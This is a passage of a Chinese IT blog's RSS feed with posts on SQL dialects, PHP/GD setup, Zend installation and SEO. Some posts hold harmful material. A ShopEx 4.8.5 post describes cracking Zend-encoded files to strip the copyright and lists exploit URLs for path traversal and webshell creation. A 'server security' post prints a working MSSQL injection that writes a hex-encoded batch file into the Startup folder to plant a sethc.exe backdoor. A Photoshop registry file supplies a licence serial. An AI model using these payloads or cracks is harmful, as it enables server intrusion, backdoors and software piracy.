border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">语句执行成功</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>error</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>SQLCODE</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>select <span style="font-family: 宋体">是否有结果</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>exists</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>select...into + SQL%FOUND</p>            </td>        </tr>    </tbody></table></p><p>&nbsp;</p><p style="text-indent: -9pt; margin-left: 9pt"><span>10)<span style="font: 7pt &quot;Times New Roman&quot;">&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 宋体">命令行查询工具</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 4cm; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="151">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 144pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="192">            <p align="center">ISQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p align="center">SQL PLUS</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 4cm; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="151">            <p><span style="font-family: 宋体">读取、执行</span>SQL<span style="font-family: 宋体">文件</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 144pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="192">            <p>Isql &ndash;Usa &ndash;Ppass &ndash;Shost &ndash;ifile</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>sqlplus [-s] user/pass@db -@filename</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 4cm; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="151">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 144pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="192">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 4cm; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="151">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 144pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="192">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 4cm; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="151">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 144pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="192">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>&nbsp;</p>            </td>        </tr>    </tbody></table></p><p>&nbsp;</p><p style="text-indent: -9pt; margin-left: 9pt"><span>11)<span style="font: 7pt &quot;Times New Roman&quot;">&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 宋体">杂项</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 153.4pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="205">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">锁</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">在</span>SQL<span style="font-family: 宋体">语句中</span></p>            <p>Insert&hellip;With tablock</p>            <p>Insert&hellip;With Tablockx</p>            <p>Select&hellip;for update</p>            <p>Select&hellip;for readonly</p>            <p><span style="font-family: 宋体">独立语句</span></p>            <p>set transcation isolation level to Read uncommited</p>            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 153.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="205">            <p><span style="font-family: 宋体">在</span>SQL<span style="font-family: 宋体">语句中</span></p>            <p>select &hellip;for update of&hellip;;</p>            <p>&nbsp;</p>            <p><span style="font-family: 宋体">独立语句</span></p>            <p>lock table tabname in row share mode;</p>            <p>lock table tabname in share exclusive mode;</p>            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">用户连接数</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 153.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="205">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">数据库文件</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Device</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 153.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="205">            <p>Tablespace</p>            <p>&nbsp;</p>            <p>CREATE TABLESPACE testdb DATAFILE 'C:\ORANT\DATABASE\testdb.ORA' SIZE 20M AUTOEXTEND ON NEXT 2M;</p>            <p>CREATE ROLLBACK SEGMENT &quot;RB_TESTDB&quot; TABLESPACE &quot;TESTDB&quot;;</p>            <p>ALTER ROLLBACK SEGMENT &quot;RB_TESTDB&quot; ONLINE;</p>            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">显示</span>DML<span style="font-family: 宋体">执行计划</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Show plan</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 153.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="205">            <p>Explain plan</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">保留点</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p style="text-align: left; text-indent: -21.25pt; margin-left: 21.25pt" align="left"><span style="font-family: Symbol">&uml;<span style="font: 7pt &quot;Times New Roman&quot;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span>Save transcation Sp_name</p>            <p style="text-align: left; text-indent: -21.25pt; margin-left: 21.25pt" align="left"><span style="font-family: Symbol">&uml;<span style="font: 7pt &quot;Times New Roman&quot;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span>ROLLBACK TRANSACTION percentchanged</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 153.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="205">            <p style="text-align: left; text-indent: -21.25pt; margin-left: 21.25pt" align="left"><span style="font-family: Symbol">&uml;<span style="font: 7pt &quot;Times New Roman&quot;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span>Savepoint Sp_name</p>            <p style="text-align: left; text-indent: -21.25pt; margin-left: 21.25pt" align="left"><span style="font-family: Symbol">&uml;<span style="font: 7pt &quot;Times New Roman&quot;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span>Rollback to savepoint sp_name</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">对模式对象改名</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Rename</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 153.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="205">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">分析对象</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Analyze</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 153.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="205">            <p>Sp_help?</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 153.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="205">            <p>&nbsp;</p>            </td>        </tr>    </tbody></table></p><p>&nbsp;</p><p>&nbsp;1. select into 语法<br />&nbsp;<br />现在有表<br />tablea <br />( <br />&nbsp;cola int ,<br />&nbsp;colb varchar(20)<br />)<br />&nbsp;<br />要把tablea中满足条件(cola &lt;100)的记录生成新的表tableb。<br />&nbsp;<br />在ms sqlserver 可以直接用select into语法：<br />select * into tableb <br />where cola &lt; 100 <br />&nbsp;<br />在oracle中语法如下：<br />create table tableb <br />as <br />( <br />&nbsp; select * from tablea <br />&nbsp;&nbsp;&nbsp; where cola &lt;100 <br />)</p>]]></description><category>数据库优化</category><comments>http://www.it314.com/DateBase/360.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=360</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=360&amp;key=55dffc63</trackback:ping></item><item><title>Adobe photoshop 用户名、组织或序列号丢失或无效</title><author>a@b.com (liao)</author><link>http://www.it314.com/other/359.html</link><pubDate>Sun, 08 Aug 2010 16:55:26 +0800</pubDate><guid>http://www.it314.com/other/359.html</guid><description><![CDATA[<p>当你打开PHOTOSHOP现在这样的错误你可以把下面代码保存为abc.reg..并运行就OK!</p><p>Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{236BB7C4-4419-42FD-0804-1E257A25E34D}]<br />&quot;EPIC_ORG&quot;=&quot; &quot;<br />&quot;EPIC_SERIAL&quot;=&quot;911980120903475734098858&quot;<br />&quot;stockphotos_Relative_productfolder&quot;=&quot;stock photography\\\\Adobe Stock Photos 1.0.msi&quot;<br />&quot;stockphotos_product_code&quot;=&quot;{786C5747-1033-0000-B58E-000000000001}&quot;<br />&quot;stockphotos_product_name&quot;=&quot;Adobe Stock Photos&quot;<br />&quot;LanguageID&quot;=dword:00000804<br />&quot;commonfile_Relative_productfolder&quot;=&quot;commonfilesinstaller\\\\Adobe Common File Installer.msi&quot;<br />&quot;commonfile_product_code&quot;=&quot;{8EDBA74D-0686-4C99-BFDD-F894678E5B39}&quot;<br />&quot;HelpPath&quot;=&quot;C:\\Program Files\\Adobe\\Adobe Photoshop CS2\\Photoshop_9.0_zh-cn.zip&quot;<br />&quot;EPIC_NAME&quot;=&quot;kisswen&quot;<br />&quot;InstallerTitleBar&quot;=&quot;Adobe Photoshop CS2 - Setup&quot;<br />&quot;bridge_product_name&quot;=&quot;Adobe Bridge&quot;<br />&quot;helpcenter_product_name&quot;=&quot;Adobe Help Center&quot;<br />&quot;helpcenter_product_code&quot;=&quot;{E9787678-1033-0000-8E67-000000000001}&quot;<br />&quot;helpcenter_Relative_productfolder&quot;=&quot;Help Center\\\\Adobe Help Center 1.0.msi&quot;<br />&quot;commonfile_product_name&quot;=&quot;Adobe Common Files&quot;<br />&quot;TryOut&quot;=&quot;zh_CN&quot;<br />&quot;ProductSIFFile&quot;=&quot;PS.sif&quot;<br />&quot;epic_eula_accepted&quot;=dword:00000001<br />&quot;epic_eula_selected&quot;=dword:0000000d<br />&quot;bridge_product_code&quot;=&quot;{B74D4E10-1033-0000-0000-000000000001}&quot;<br />&quot;bridge_Relative_productFolder&quot;=&quot;bridge\\\\Adobe Bridge 1.0.msi&quot;<br />&quot;ProductHelpIdentifier&quot;=&quot;Photoshop&quot;<br />&quot;ProductHelpVersion&quot;=&quot;9.0&quot;<br />&quot;SubProductList&quot;=&quot;Adobe Bridge, Adobe Common Files, Adobe Help Center, Adobe Stock Photos&quot;<br />&quot;AuthorizedCDFPrefix&quot;=&quot;&quot;<br />&quot;Comments&quot;=&quot; &quot;<br />&quot;Contact&quot;=&quot;客户支持&quot;<br />&quot;DisplayVersion&quot;=&quot;9.0&quot;<br />&quot;HelpLink&quot;=hex(2):68,00,74,00,74,00,70,00,3a,00,2f,00,2f,00,77,00,77,00,77,00,\<br />2e,00,61,00,64,00,6f,00,62,00,65,00,2e,00,63,00,6f,00,6d,00,2f,00,73,00,75,\<br />00,70,00,70,00,6f,00,72,00,74,00,2f,00,6d,00,61,00,69,00,6e,00,2e,00,68,00,\<br />74,00,6d,00,6c,00,00,00<br />&quot;HelpTelephone&quot;=&quot;1-555-555-4505&quot;<br />&nbsp;</p>]]></description><category>其它</category><comments>http://www.it314.com/other/359.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=359</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=359&amp;key=4911eb94</trackback:ping></item><item><title>在centos linux下为php添加GD库</title><author>a@b.com (liao)</author><link>http://www.it314.com/php/358.html</link><pubDate>Fri, 06 Aug 2010 13:32:59 +0800</pubDate><guid>http://www.it314.com/php/358.html</guid><description><![CDATA[<p>linux下为php添加GD库 <br />一、下载 <br />gd-2.0.33.tar.gz <br />jpegsrc.v6b.tar.gz <br />libpng-1.2.8.tar.tar <br />zlib-1.2.3.tar.gz (md5:debc62758716a169df9f62e6ab2bc634) <br />freetype-2.1.10.tar.gz <br /><br />二、安装 <br />1.安装zlib <br />tar zxvf zlib-1.2.3.tar.gz <br />cd zlib-1.2.3 <br />./configure --prefix=/usr/local/zlib <br />make <br />make install <br /><br />2.安装libpng <br />tar zxvf libpng-1.2.8.tar.tar <br />cd libpng-1.2.8 <br />mv ./scripts/makefile.linux ./makefile <br />make <br />make install <br />注意，这里的makefile不是用./configure生成，而是直接从scripts/里拷一个 <br /><br />3.安装freetype <br />tar zxvf freetype-2.1.10.tar.gz <br />cd freetype-2.1.10 <br />./configure --prefix=/usr/local/freetype <br />make <br />make install <br /><br />4.安装Jpeg <br />tar zxvf jpegsrc.v6b.tar.gz <br />cd jpeg-6b/ <br />./configure --enable-shared <br />make <br />make test <br />make install <br />注意，这里configure一定要带--enable-shared参数，不然，不会生成共享库 <br /><br />5.安装GD <br />tar zxvf gd-2.0.33.tar.gz <br />cd gd-2.0.33 <br />./configure --with-png --with-jpeg --with-freetype=/usr/local/freetype <br />make <br />make install <br /><br />6.重新编译PHP <br />tar zxvf php-4.3.9.tar.gz <br />cd php-4.3.9 <br />./configure (以前的参数) --with-gd --enable-gd-native-ttf --with-zlib-dir=/usr/local/zlib --with-png --with-jpeg --with-freetype-dir=/usr/local/freetype <br />make <br />make install <br /><br />Ok.....当然你可以在安装PHP前先安装这些东东<br /><br />ps:<br />1. gd库下载：http://www.libgd.org/releases/ <br />2. zlib库下载： http://www.zlib.net/<br />3. libpng库下载：http://www.libpng.org/pub/png/libpng.html<br />4. freetype下载：http://ftp.twaren.net/Unix/NonGNU/freetype/<br />5. jpeg7下载：<a href="http://download.chinaunix.net/download.php?id=28882&amp;ResourceID=5095">http://download.chinaunix.net/download.php?id=28882&amp;ResourceID=5095</a></p>]]></description><category>php技术</category><comments>http://www.it314.com/php/358.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=358</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=358&amp;key=cfd8027d</trackback:ping></item><item><title>CentOS 5.5 安装Zend Optimizer 3.3</title><author>a@b.com (liao)</author><link>http://www.it314.com/php/357.html</link><pubDate>Mon, 02 Aug 2010 15:36:06 +0800</pubDate><guid>http://www.it314.com/php/357.html</guid><description><![CDATA[<p>一，下载<br />cd /usr/local/src<br />wget <a href="http://downloads.zend.com/optimizer/3.3.3/ZendOptimizer-3.3.3-linux-glibc23-i386.tar.gz">http://downloads.zend.com/optimizer/3.3.3/ZendOptimizer-3.3.3-linux-glibc23-i386.tar.gz</a><br />tar -xzvf ZendOptimizer-3.3.3-linux-glibc23-i386.tar.gz<br />./ZendOptimizer-3.3.3-linux-glibc23-i386/install.sh</p><p>二，安装<br />1，php.ini配置文件目录是：/etc<br />2，注意Host5156_Vps使用的是lighttpd，而非apache。</p><p>三，配置域名目录下php.ini文件<br />1，/etc/php.ini是总的配置文件。还有一个具体的配置文件位于：/home/httpd/domain.com/php.ini，这个文件也要设置下。<br />2，把php.ini文件下的[zend]段落复制下来，再添加到/home/httpd/domain.com/php.ini文件中。</p><p>[Zend]<br />zend_extension_manager.optimizer=/usr/local/Zend/lib/Optimizer-3.3.3<br />zend_extension_manager.optimizer_ts=/usr/local/Zend/lib/Optimizer_TS-3.3.3<br />zend_optimizer.version=3.3.3<br />zend_extension=/usr/local/Zend/lib/ZendExtensionManager.so<br />zend_extension_ts=/usr/local/Zend/lib/ZendExtensionManager_TS.so</p><p>3，重启Apache<br />/etc/init.d/httpd restart<br />&nbsp;</p>]]></description><category>php技术</category><comments>http://www.it314.com/php/357.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=357</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=357&amp;key=0456a954</trackback:ping></item><item><title>改源码去shopex4.8.5版权(不是隐藏!)</title><author>a@b.com (liao)</author><link>http://www.it314.com/php/356.html</link><pubDate>Wed, 28 Jul 2010 17:15:32 +0800</pubDate><guid>http://www.it314.com/php/356.html</guid><description><![CDATA[<p>在N年前就知ZEND可以破解的。这个得用到了吧。先把/core/include_v5/smartyplugins/function.footer.php这个文件。对就是这个文件把他破出来。一看你就知那些部份不要的啦。</p><p>//$PoweredStr .= &quot;&lt;a href=\&quot;<a href="http://store.shopex.cn/rating/store_detail.php?ref=&quot;.$ref.&quot;&amp;check=&quot;.$check.&quot;&amp;str=&quot;.$str.&quot;\">http://store.shopex.cn/rating/store_detail.php?ref=&quot;.$ref.&quot;&amp;check=&quot;.$check.&quot;&amp;str=&quot;.$str.&quot;\</a>&quot; target=\&quot;_blank\&quot; style=\&quot;color:#666;text-decoration:none;cursor:pointer\&quot;&gt;&quot;;<br />//$PoweredStr .= &quot;Powered by &lt;b style=\&quot;color:#5c719e\&quot;&gt;Shop&lt;/b&gt;&lt;b style=\&quot;color:#f39000\&quot;&gt;Ex&lt;/b&gt;&quot;;<br />//$PoweredStr .= &quot;&lt;/a&gt;&quot;;<br />//$PoweredStr .= &quot;&lt;span style=\&quot;font-size:9px;\&quot;&gt; &quot;.$versionStr.&quot;&lt;/span&gt;&quot;;<br />//$PoweredStr .= &quot;&lt;span style=\&quot;color:#999;display:none\&quot;&gt; |Gzip &quot;.$gzip.&quot;&lt;/span&gt; &quot;;</p><p>直接删除或注释OK。搞定。把他替换站点那个就行了。如果你懒破解，想要用这文件直接替换找我（辛苦费一块钱QQ:27931573）!</p><p>先爆下shopex4.8.5漏动</p><p>第一。爆用户名密码首页index.php<br />第二。xss漏洞<br />第三。遍所有目录文件index.php?ctl=sfile&amp;act=getDB&amp;p[0]=../../config/config.php<br />第四。直接生成木马文件index.php?ctl=system/template&amp;amp;act=saveContent<br />第五。后台提权生成php木马模板<br />第六。后台直接提权生成文件index.php?ctl=system/template&amp;act=editor&amp;p[0]=purple&amp;p[1]=123.php<br />第七。爆路径install/svinfo.php</p><p>如果你要用shopex4.8.5记得要修补呀。不然分分钟你的服务器就成了别人的肉鸡了</p>]]></description><category>php技术</category><comments>http://www.it314.com/php/356.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=356</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=356&amp;key=7c713808</trackback:ping></item><item><title>一句经典的优化教程</title><author>a@b.com (liao)</author><link>http://www.it314.com/seo/355.html</link><pubDate>Thu, 22 Jul 2010 16:12:21 +0800</pubDate><guid>http://www.it314.com/seo/355.html</guid><description><![CDATA[<p>内容为王，外链为皇，内链为妃，代码为将军，关键词为宰相，结构为城，更新为太子!</p>]]></description><category>Seo优化</category><comments>http://www.it314.com/seo/355.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=355</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=355&amp;key=4edcc7f5</trackback:ping></item><item><title>注意服务器安全</title><author>a@b.com (liao)</author><link>http://www.it314.com/other/354.html</link><pubDate>Fri, 09 Jul 2010 14:34:18 +0800</pubDate><guid>http://www.it314.com/other/354.html</guid><description><![CDATA[<p>这样一个句后门你见过了吗？你可以试下包你怕</p><p>alter database [master] set RECOVERY FULL--<br />create table cmd (a image)--<br />backup log [master] to disk = 'c:\cmd1' with init--<br />insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202<br />F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65<br />7865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577<br />696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325<br />C646C6C63616368655C73657468632E657865202F790D0A)--<br />backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--<br />drop table cmd--</p><p>只要你重启你的系统马上就有后门，你见到这样的东西问你的服务安全了话。请注意服务器安全</p>]]></description><category>其它</category><comments>http://www.it314.com/other/354.html#comment</comments><wfw:comment>http://www.it314.com/</wfw:comment><wfw:commentRss>http://www.it314.com/feed.asp?cmt=354</wfw:commentRss><trackback:ping>http://www.it314.com/cmd.asp?act=tb&amp;id=354&amp;key=4a6d8186</trackback:ping></item><item><title>生成百度搜索开放平台xml源码</title><author>a@b.com 